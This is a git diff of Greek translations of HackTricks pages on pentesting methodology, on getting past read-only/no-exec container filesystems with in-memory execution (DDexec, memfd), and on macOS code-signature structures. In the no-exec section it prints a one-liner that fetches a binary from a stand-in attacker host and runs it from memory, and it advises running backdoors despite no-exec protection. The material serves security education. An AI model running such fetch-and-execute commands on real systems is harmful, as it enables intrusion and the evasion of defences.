**Αν η υπηρεσία σας δεν είναι μέσα στο ευρετήριο, αναζητήστε στο Google** για άλλους οδηγούς και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε το **δικό σας blind pentesting**, μπορείτε να ξεκινήσετε με το **να συνδεθείτε στην υπηρεσία, να την fuzzing και να διαβάσετε τις απαντήσεις** (αν υπάρχουν). **Αν η υπηρεσία σας δεν είναι μέσα στον δείκτη, αναζητήστε στο Google** για άλλους οδηγούς και **ενημερώστε με αν θέλετε να την προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε το **δικό σας τυφλό pentesting**, μπορείτε να ξεκινήσετε με το **να συνδεθείτε στην υπηρεσία, να την fuzzing και να διαβάσετε τις απαντήσεις** (αν υπάρχουν).
#### 5.1 Αυτόματα Εργαλεία #### 5.1 Αυτόματα Εργαλεία
@ -91,32 +91,32 @@ _Τα λογότυπα Hacktricks σχεδιάστηκαν από_ [_@ppiernacho
### **9 -** [**Εξαγωγή**](exfiltration.md) ### **9 -** [**Εξαγωγή**](exfiltration.md)
Πιθανώς θα χρειαστεί να **εξάγετε κάποια δεδομένα από το θύμα** ή ακόμα και **να εισάγετε κάτι** (όπως scripts ανύψωσης προνομίων). **Εδώ έχετε ένα** [**post σχετικά με κοινά εργαλεία που μπορείτε να χρησιμοποιήσετε με αυτούς τους σκοπούς**](exfiltration.md)**.** Πιθανώς θα χρειαστεί να **εξάγετε κάποια δεδομένα από το θύμα** ή ακόμα και **να εισάγετε κάτι** (όπως σενάρια ανύψωσης δικαιωμάτων). **Εδώ έχετε ένα** [**post σχετικά με κοινά εργαλεία που μπορείτε να χρησιμοποιήσετε με αυτούς τους σκοπούς**](exfiltration.md)**.**
### **10- Ανύψωση Προνομίων** ### **10- Ανύψωση Δικαιωμάτων**
#### **10.1- Τοπική Ανύψωση Προνομίων** #### **10.1- Τοπική Ανύψωση Δικαιωμάτων**
Αν δεν είστε **root/Διαχειριστής** μέσα στο box, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα προνόμια.**\ Αν δεν είστε **root/Διαχειριστής** μέσα στο box, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα δικαιώματα.**\
Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\ Εδώ μπορείτε να βρείτε έναν **οδηγό για να ανυψώσετε τα δικαιώματα τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
Πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**: Πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
* [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνομία Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/) * [**Αυθεντικοποίηση, Διαπιστευτήρια, Δικαιώματα Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/) * Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
* Πώς να [**κλέψετε διαπιστευτήρια**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows * Πώς να [**κλέψετε διαπιστευτήρια**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows
* Μερικά κόλπα σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/) * Μερικά κόλπα σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για να απαριθμήσετε τις τοπικές διαδρομές ανύψωσης προνομίων Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) **Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για να απαριθμήσετε τις τοπικές διαδρομές ανύψωσης δικαιωμάτων Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Ανύψωση Προνομίων Τομέα** #### **10.2- Ανύψωση Δικαιωμάτων Τομέα**
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για να απαριθμήσετε, να ανυψώσετε προνόμια και να επιμείνετε σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team. Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για να απαριθμήσετε, να ανυψώσετε δικαιώματα και να επιμείνετε σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
### 11 - POST ### 11 - POST
#### **11**.1 - Ληστεία #### **11**.1 - Ληστεία
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\ Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **δικαιώματα** του **χρήστη** σας.\
Βρείτε εδώ διάφορους τρόπους για να [**dump passwords στα Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). Βρείτε εδώ διάφορους τρόπους για να [**dump passwords στα Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Επιμονή #### 11.2 - Επιμονή
@ -130,7 +130,7 @@ TODO: Ολοκληρώστε την επιμονή Post σε Windows & Linux
Με τα **συγκεντρωμένα διαπιστευτήρια** θα μπορούσατε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειαστεί να **ανακαλύψετε και να σαρώσετε νέους hosts** (ξεκινήστε ξανά τη Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\ Με τα **συγκεντρωμένα διαπιστευτήρια** θα μπορούσατε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειαστεί να **ανακαλύψετε και να σαρώσετε νέους hosts** (ξεκινήστε ξανά τη Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
Σε αυτή την περίπτωση, η σήραγγα μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**ένα post που μιλάει για σήραγγες**](tunneling-and-port-forwarding.md).\ Σε αυτή την περίπτωση, η σήραγγα μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**ένα post που μιλάει για σήραγγες**](tunneling-and-port-forwarding.md).\
Πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε ωραία κόλπα για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να dump διαπιστευτήρια.\ Πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε ωραία κόλπα για να μετακινηθείτε οριζόντια, να ανυψώσετε δικαιώματα και να dump διαπιστευτήρια.\
Ελέγξτε επίσης τη σελίδα σχετικά με το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows. Ελέγξτε επίσης τη σελίδα σχετικά με το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows.
### ΠΕΡΙΣΣΟΤΕΡΑ ### ΠΕΡΙΣΣΟΤΕΡΑ
@ -151,7 +151,7 @@ TODO: Ολοκληρώστε την επιμονή Post σε Windows & Linux
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) * [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_). Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
@ -163,7 +163,7 @@ TODO: Ολοκληρώστε την επιμονή Post σε Windows & Linux
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Support HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,9 +15,9 @@
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών γραπτά και προφορικά_). Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το μη χακαρίσιμο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -30,7 +30,7 @@
## read-only / no-exec σενάριο ## read-only / no-exec σενάριο
Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές linux που είναι τοποθετημένες με **προστασία συστήματος αρχείων μόνο για ανάγνωση (ro)**, ειδικά σε κοντέινερ. Αυτό συμβαίνει γιατί η εκτέλεση ενός κοντέινερ με σύστημα αρχείων ro είναι τόσο εύκολη όσο η ρύθμιση του **`readOnlyRootFilesystem: true`** στο `securitycontext`: Είναι όλο και πιο συνηθισμένο να βρίσκουμε μηχανές linux που είναι τοποθετημένες με **προστασία συστήματος αρχείων μόνο για ανάγνωση (ro)**, ειδικά σε κοντέινερ. Αυτό συμβαίνει γιατί για να τρέξετε ένα κοντέινερ με ro σύστημα αρχείων είναι τόσο εύκολο όσο να ορίσετε **`readOnlyRootFilesystem: true`** στο `securitycontext`:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod kind: Pod
@ -45,17 +45,17 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"] </strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre> </code></pre>
Ωστόσο, ακόμα και αν το σύστημα αρχείων είναι τοποθετημένο ως ro, **`/dev/shm`** θα είναι ακόμα εγγράψιμο, οπότε είναι ψευδές ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία no-exec**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**. Ωστόσο, ακόμα και αν το σύστημα αρχείων είναι τοποθετημένο ως ro, **`/dev/shm`** θα είναι ακόμα εγ writable, οπότε είναι ψευδές ότι δεν μπορούμε να γράψουμε τίποτα στο δίσκο. Ωστόσο, αυτός ο φάκελος θα είναι **τοποθετημένος με προστασία no-exec**, οπότε αν κατεβάσετε ένα δυαδικό αρχείο εδώ **δεν θα μπορείτε να το εκτελέσετε**.
{% hint style="warning" %} {% hint style="warning" %}
Από την οπτική γωνία μιας κόκκινης ομάδας, αυτό καθιστά **περίπλοκο να κατεβάσετε και να εκτελέσετε** δυαδικά αρχεία που δεν είναι ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`). Από την προοπτική μιας κόκκινης ομάδας, αυτό καθιστά **περίπλοκο να κατεβάσετε και να εκτελέσετε** δυαδικά αρχεία που δεν είναι ήδη στο σύστημα (όπως backdoors ή enumerators όπως το `kubectl`).
{% endhint %} {% endhint %}
## Ευκολότερη παράκαμψη: Σενάρια ## Ευκολότερη παράκαμψη: Σενάρια
Σημειώστε ότι ανέφερα δυαδικά αρχεία, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** εφόσον ο διερμηνέας είναι μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **python** **script** αν το `python` είναι εγκατεστημένο. Σημειώστε ότι ανέφερα δυαδικά αρχεία, μπορείτε να **εκτελέσετε οποιοδήποτε σενάριο** εφόσον ο διερμηνέας είναι μέσα στη μηχανή, όπως ένα **shell script** αν το `sh` είναι παρόν ή ένα **python** **script** αν το `python` είναι εγκατεστημένο.
Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που μπορεί να χρειαστεί να εκτελέσετε. Ωστόσο, αυτό δεν είναι αρκετό για να εκτελέσετε το δυαδικό backdoor σας ή άλλα δυαδικά εργαλεία που μπορεί να χρειαστεί να τρέξετε.
## Παράκαμψη μνήμης ## Παράκαμψη μνήμης
@ -63,21 +63,21 @@ securityContext:
### Παράκαμψη FD + exec syscall ### Παράκαμψη FD + exec syscall
Αν έχετε μερικούς ισχυρούς κινητήρες σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl** ή **Ruby**, μπορείτε να κατεβάσετε το δυαδικό αρχείο για να το εκτελέσετε από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες και στη συνέχεια να καλέσετε μια **`exec` syscall** υποδεικνύοντας τον **fd ως το αρχείο προς εκτέλεση**. Αν έχετε μερικούς ισχυρούς κινητήρες σεναρίων μέσα στη μηχανή, όπως **Python**, **Perl**, ή **Ruby** μπορείτε να κατεβάσετε το δυαδικό αρχείο για να το εκτελέσετε από τη μνήμη, να το αποθηκεύσετε σε έναν περιγραφέα αρχείου μνήμης (`create_memfd` syscall), ο οποίος δεν θα προστατεύεται από αυτές τις προστασίες και στη συνέχεια να καλέσετε μια **`exec` syscall** υποδεικνύοντας τον **fd ως το αρχείο προς εκτέλεση**.
Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό αρχείο και θα δημιουργήσει ένα σενάριο στη δηλωμένη γλώσσα με το **δυαδικό αρχείο συμπιεσμένο και b64 κωδικοποιημένο** με τις οδηγίες να **αποκωδικοποιήσετε και να αποσυμπιέσετε** σε έναν **fd** που δημιουργείται καλώντας την `create_memfd` syscall και μια κλήση στην **exec** syscall για να το εκτελέσετε. Για αυτό μπορείτε εύκολα να χρησιμοποιήσετε το έργο [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Μπορείτε να του περάσετε ένα δυαδικό αρχείο και θα δημιουργήσει ένα σενάριο στη δηλωμένη γλώσσα με το **δυαδικό αρχείο συμπιεσμένο και b64 κωδικοποιημένο** με τις οδηγίες να **αποκωδικοποιήσετε και να αποσυμπιέσετε** σε έναν **fd** που δημιουργείται καλώντας την `create_memfd` syscall και μια κλήση στην **exec** syscall για να το τρέξετε.
{% hint style="warning" %} {% hint style="warning" %}
Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως η PHP ή η Node γιατί δεν έχουν καμία **προεπιλεγμένη μέθοδο για να καλέσουν ωμές syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσετε την `create_memfd` για να δημιουργήσετε τον **περιγραφέα μνήμης** για να αποθηκεύσετε το δυαδικό αρχείο. Αυτό δεν λειτουργεί σε άλλες γλώσσες σεναρίων όπως το PHP ή το Node γιατί δεν έχουν καμία **προεπιλεγμένη μέθοδο για να καλέσουν ωμές syscalls** από ένα σενάριο, οπότε δεν είναι δυνατό να καλέσετε την `create_memfd` για να δημιουργήσετε τον **περιγραφέα μνήμης** για να αποθηκεύσετε το δυαδικό αρχείο.
Επιπλέον, η δημιουργία ενός **κανονικού fd** με ένα αρχείο στο `/dev/shm` δεν θα λειτουργήσει, καθώς δεν θα επιτρέπεται να το εκτελέσετε λόγω της **προστασίας no-exec**. Επιπλέον, η δημιουργία ενός **κανονικού fd** με ένα αρχείο στο `/dev/shm` δεν θα λειτουργήσει, καθώς δεν θα σας επιτραπεί να το εκτελέσετε επειδή η **προστασία no-exec** θα ισχύει.
{% endhint %} {% endhint %}
### DDexec / EverythingExec ### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σας επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διαδικασίας** αντικαθιστώντας το **`/proc/self/mem`**. [**DDexec / EverythingExec**](https://github.com/arget13/DDexec) είναι μια τεχνική που σας επιτρέπει να **τροποποιήσετε τη μνήμη της δικής σας διαδικασίας** αντικαθιστώντας το **`/proc/self/mem`**.
Επομένως, **ελέγχοντας τον κώδικα συναρμολόγησης** που εκτελείται από τη διαδικασία, μπορείτε να γράψετε ένα **shellcode** και να "μεταλλάξετε" τη διαδικασία για να **εκτελέσετε οποιονδήποτε αυθαίρετο κώδικα**. Επομένως, **ελέγχοντας τον κώδικα assembly** που εκτελείται από τη διαδικασία, μπορείτε να γράψετε ένα **shellcode** και να "μεταλλάξετε" τη διαδικασία για να **εκτελέσετε οποιονδήποτε αυθαίρετο κώδικα**.
{% hint style="success" %} {% hint style="success" %}
**DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από **μνήμη**. **DDexec / EverythingExec** θα σας επιτρέψει να φορτώσετε και να **εκτελέσετε** το δικό σας **shellcode** ή **οποιοδήποτε δυαδικό** από **μνήμη**.
@ -124,17 +124,17 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
Χρησιμοποιώντας τη γλώσσα scripting μπορείτε να **καταγράψετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας. Χρησιμοποιώντας τη γλώσσα scripting μπορείτε να **καταγράψετε το σύστημα** χρησιμοποιώντας τις δυνατότητες της γλώσσας.
{% endhint %} {% endhint %}
Αν δεν υπάρχουν **προστασίες `read-only/no-exec`** μπορείτε να εκμεταλλευτείτε τη reverse shell σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας αρχεία** και να **τα εκτελέσετε**. Αν δεν υπάρχουν **προστασίες `read-only/no-exec`**, μπορείτε να εκμεταλλευτείτε τη reverse shell σας για να **γράψετε στο σύστημα αρχείων τα δυαδικά σας αρχεία** και να **τα εκτελέσετε**.
{% hint style="success" %} {% hint style="success" %}
Ωστόσο, σε αυτού του είδους τα containers αυτές οι προστασίες συνήθως θα υπάρχουν, αλλά μπορείτε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**. Ωστόσο, σε αυτού του είδους τα containers, αυτές οι προστασίες συνήθως θα υπάρχουν, αλλά μπορείτε να χρησιμοποιήσετε τις **προηγούμενες τεχνικές εκτέλεσης μνήμης για να τις παρακάμψετε**.
{% endhint %} {% endhint %}
Μπορείτε να βρείτε **παραδείγματα** για το πώς να **εκμεταλλευτείτε κάποιες ευπάθειες RCE** για να αποκτήσετε reverse shells γλωσσών scripting και να εκτελέσετε δυαδικά αρχεία από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). Μπορείτε να βρείτε **παραδείγματα** για το πώς να **εκμεταλλευτείτε κάποιες ευπάθειες RCE** για να αποκτήσετε reverse shells γλωσσών scripting και να εκτελέσετε δυαδικά αρχεία από τη μνήμη στο [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για μια **καριέρα hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_). Αν ενδιαφέρεστε για μια **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική γνώση πολωνικών_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
## Basic Information ## Basic Information
Τα Mach-o δυαδικά περιέχουν μια εντολή φόρτωσης που ονομάζεται **`LC_CODE_SIGNATURE`** που υποδεικνύει την **θέση** και το **μέγεθος** των υπογραφών μέσα στο δυαδικό. Στην πραγματικότητα, χρησιμοποιώντας το εργαλείο GUI MachOView, είναι δυνατόν να βρείτε στο τέλος του δυαδικού μια ενότητα που ονομάζεται **Code Signature** με αυτές τις πληροφορίες: Τα Mach-o δυαδικά περιέχουν μια εντολή φόρτωσης που ονομάζεται **`LC_CODE_SIGNATURE`** που υποδεικνύει την **απόσταση** και το **μέγεθος** των υπογραφών μέσα στο δυαδικό. Στην πραγματικότητα, χρησιμοποιώντας το εργαλείο GUI MachOView, είναι δυνατόν να βρείτε στο τέλος του δυαδικού μια ενότητα που ονομάζεται **Code Signature** με αυτές τις πληροφορίες:
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
Η μαγική κεφαλίδα της Code Signature είναι **`0xFADE0CC0`**. Στη συνέχεια, έχετε πληροφορίες όπως το μήκος και τον αριθμό των blobs του superBlob που τα περιέχει.\ Η μαγική κεφαλίδα της Code Signature είναι **`0xFADE0CC0`**. Στη συνέχεια, έχετε πληροφορίες όπως το μήκος και τον αριθμό των blobs του superBlob που τα περιέχει.\
Είναι δυνατόν να βρείτε αυτές τις πληροφορίες στον [πηγαίο κώδικα εδώ](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276): Είναι δυνατόν να βρείτε αυτές τις πληροφορίες στον [πηγαίο κώδικα εδώ](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
@ -51,14 +51,14 @@ char data[];
} CS_GenericBlob } CS_GenericBlob
__attribute__ ((aligned(1))); __attribute__ ((aligned(1)));
``` ```
Common blobs contained are Code Directory, Requirements and Entitlements and a Cryptographic Message Syntax (CMS).\ Κοινά blobs που περιέχονται είναι ο Κατάλογος Κώδικα, οι Απαιτήσεις και τα Δικαιώματα και μια Κρυπτογραφική Σύνταξη Μηνύματος (CMS).\
Moreover, note how the data encoded in the blobs is encoded in **Big Endian.** Επιπλέον, σημειώστε πώς τα δεδομένα που κωδικοποιούνται στα blobs είναι κωδικοποιημένα σε **Big Endian.**
Moreover, οι υπογραφές μπορούν να αποσπαστούν από τα δυαδικά αρχεία και να αποθηκευτούν στο `/var/db/DetachedSignatures` (χρησιμοποιείται από το iOS). Επιπλέον, οι υπογραφές μπορούν να αποσπαστούν από τα δυαδικά αρχεία και να αποθηκευτούν στο `/var/db/DetachedSignatures` (χρησιμοποιείται από το iOS).
## Code Directory Blob ## Blob Καταλόγου Κώδικα
It's possible to find the declaration of the [Code Directory Blob in the code](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104): Είναι δυνατόν να βρείτε τη δήλωση του [Blob Καταλόγου Κώδικα στον κώδικα](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
```c ```c
typedef struct __CodeDirectory { typedef struct __CodeDirectory {
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */ uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
@ -157,18 +157,18 @@ openssl sha256 /tmp/*.page.*
``` ```
## Entitlements Blob ## Entitlements Blob
Σημειώστε ότι οι εφαρμογές μπορεί επίσης να περιέχουν ένα **entitlement blob** όπου ορίζονται όλα τα δικαιώματα. Επιπλέον, ορισμένα δυαδικά αρχεία iOS μπορεί να έχουν τα δικαιώματά τους συγκεκριμένα στη ειδική υποδοχή -7 (αντί για την ειδική υποδοχή -5 δικαιωμάτων). Σημειώστε ότι οι εφαρμογές μπορεί επίσης να περιέχουν ένα **entitlement blob** όπου ορίζονται όλα τα δικαιώματα. Επιπλέον, ορισμένα δυαδικά αρχεία iOS μπορεί να έχουν τα δικαιώματά τους συγκεκριμένα στη ειδική υποδοχή -7 (αντί για την ειδική υποδοχή -5).
## Special Slots ## Special Slots
Οι εφαρμογές MacOS δεν έχουν όλα όσα χρειάζονται για να εκτελούνται μέσα στο δυαδικό αρχείο, αλλά χρησιμοποιούν επίσης **εξωτερικούς πόρους** (συνήθως μέσα στο **bundle** των εφαρμογών). Επομένως, υπάρχουν ορισμένες υποδοχές μέσα στο δυαδικό αρχείο που θα περιέχουν τα hashes ορισμένων ενδιαφέροντων εξωτερικών πόρων για να ελέγξουν ότι δεν έχουν τροποποιηθεί. Οι εφαρμογές MacOS δεν έχουν όλα όσα χρειάζονται για να εκτελούνται μέσα στο δυαδικό αρχείο, αλλά χρησιμοποιούν επίσης **εξωτερικούς πόρους** (συνήθως μέσα στο **bundle** των εφαρμογών). Επομένως, υπάρχουν ορισμένες υποδοχές μέσα στο δυαδικό αρχείο που θα περιέχουν τα hashes ορισμένων ενδιαφέροντων εξωτερικών πόρων για να ελέγξουν ότι δεν έχουν τροποποιηθεί.
Στην πραγματικότητα, είναι δυνατόν να δούμε στις δομές του Code Directory μια παράμετρο που ονομάζεται **`nSpecialSlots`** που υποδεικνύει τον αριθμό των ειδικών υποδοχών. Δεν υπάρχει ειδική υποδοχή 0 και οι πιο κοινές (από -1 έως -6) είναι: Στην πραγματικότητα, είναι δυνατόν να δείτε στις δομές του Code Directory μια παράμετρο που ονομάζεται **`nSpecialSlots`** που υποδεικνύει τον αριθμό των ειδικών υποδοχών. Δεν υπάρχει ειδική υποδοχή 0 και οι πιο κοινές (από -1 έως -6) είναι:
* Hash του `info.plist` (ή του μέσα στο `__TEXT.__info__plist`). * Hash του `info.plist` (ή του μέσα στο `__TEXT.__info__plist`).
* Hash των Απαιτήσεων * Hash των Απαιτήσεων
* Hash του Resource Directory (hash του αρχείου `_CodeSignature/CodeResources` μέσα στο bundle). * Hash του Resource Directory (hash του αρχείου `_CodeSignature/CodeResources` μέσα στο bundle).
* Ειδικό για την εφαρμογή (μη χρησιμοποιούμενο) * Ειδική εφαρμογής (μη χρησιμοποιούμενη)
* Hash των δικαιωμάτων * Hash των δικαιωμάτων
* Μόνο υπογραφές κώδικα DMG * Μόνο υπογραφές κώδικα DMG
* DER Entitlements * DER Entitlements
@ -228,7 +228,7 @@ Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-dis
Οι απαιτήσεις ενός δυαδικού αρχείου χρησιμοποιούν μια **ειδική γραμματική** που είναι μια ροή **εκφράσεων** και κωδικοποιούνται ως blobs χρησιμοποιώντας το `0xfade0c00` ως το μαγικό, του οποίου το **hash αποθηκεύεται σε μια ειδική θέση κώδικα**. Οι απαιτήσεις ενός δυαδικού αρχείου χρησιμοποιούν μια **ειδική γραμματική** που είναι μια ροή **εκφράσεων** και κωδικοποιούνται ως blobs χρησιμοποιώντας το `0xfade0c00` ως το μαγικό, του οποίου το **hash αποθηκεύεται σε μια ειδική θέση κώδικα**.
Οι απαιτήσεις ενός δυαδικού αρχείου μπορούν να δουν τρέχοντας: Οι απαιτήσεις ενός δυαδικού αρχείου μπορούν να δουν εκτελώντας:
